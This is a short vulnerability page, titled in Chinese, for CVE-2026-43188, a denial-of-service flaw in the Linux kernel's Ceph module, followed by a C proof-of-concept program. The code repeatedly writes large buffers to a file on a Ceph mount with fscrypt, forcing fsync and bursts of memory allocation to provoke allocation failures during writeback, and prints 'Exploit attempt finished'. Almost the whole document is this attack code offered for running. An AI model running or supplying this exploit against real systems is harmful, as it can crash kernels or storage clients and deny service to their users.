CVE-2026-43188 Linux内核Ceph模块拒绝服务漏洞

/* * PoC for CVE-2026-43188 * Concept: Trigger memory pressure during writeback on a Ceph mount with fscrypt. * This attempts to induce GFP_NOWAIT allocation failures in the kernel. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #define MOUNT_POINT "/mnt/ceph" // Replace with actual Ceph mount point #define FILE_NAME "trigger.dat" #define BUFFER_SIZE (4 * 1024 * 1024) // 4MB chunks void consume_memory() { // Attempt to pressure memory to trigger GFP_NOWAIT failures void *ptrs[100]; for(int i = 0; i < 100; i++) { ptrs[i] = malloc(10 * 1024 * 1024); // Alloc 10MB if(!ptrs[i]) break; } // Free immediately to loop, or hold to increase pressure for(int i = 0; i < 100; i++) { if(ptrs[i]) free(ptrs[i]); } } int main() { char path[256]; snprintf(path, sizeof(path), "%s/%s", MOUNT_POINT, FILE_NAME); int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open failed"); return 1; } char *buffer = malloc(BUFFER_SIZE); if (!buffer) { perror("malloc failed"); close(fd); return 1; } memset(buffer, 'A', BUFFER_SIZE); printf("Starting write operations to trigger bug..."); fflush(stdout); // Write loop to force writeback for (int i = 0; i < 1000; i++) { write(fd, buffer, BUFFER_SIZE); // Sync occasionally to force writeback operations if (i % 10 == 0) { fsync(fd); consume_memory(); // Try to disrupt allocation } } free(buffer); close(fd); unlink(path); printf("Exploit attempt finished.\n"); return 0; }